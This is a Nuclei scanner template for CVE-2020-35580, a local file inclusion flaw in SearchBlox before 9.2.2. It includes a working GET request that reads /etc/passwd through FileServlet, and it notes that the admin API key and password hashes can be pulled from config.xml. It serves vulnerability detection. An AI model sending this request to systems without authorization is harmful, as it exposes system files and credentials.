nuclei-templates/http/cves/2020/CVE-2020-35580.yaml

38 lines
1.6 KiB
YAML

id: CVE-2020-35580
info:
name: SearchBlox <9.2.2 - Local File Inclusion
author: daffainfo
severity: high
description: SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.
remediation: |
Upgrade to SearchBlox version 9.2.2 or later to mitigate the vulnerability.
reference:
- https://hateshape.github.io/general/2021/05/11/CVE-2020-35580.html
- https://developer.searchblox.com/docs/getting-started-with-searchblox
- https://nvd.nist.gov/vuln/detail/CVE-2020-35580
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-35580
cwe-id: CWE-22
epss-score: 0.02597
epss-percentile: 0.89133
cpe: cpe:2.3:a:searchblox:searchblox:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: searchblox
product: searchblox
tags: cve,cve2020,lfi
http:
- method: GET
path:
- "{{BaseURL}}/searchblox/servlet/FileServlet?col=9&url=/etc/passwd"
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 4b0a0048304602210099008f826d2e99c92068250fb641a2db7b09d86d57c04cab5c1debd52c7ddcbe022100f630483f9b9c5853465e58bc19f300385440d64ef3646a89a6f392f32d86ec25:922c64590222798bb761d5b6d8e72950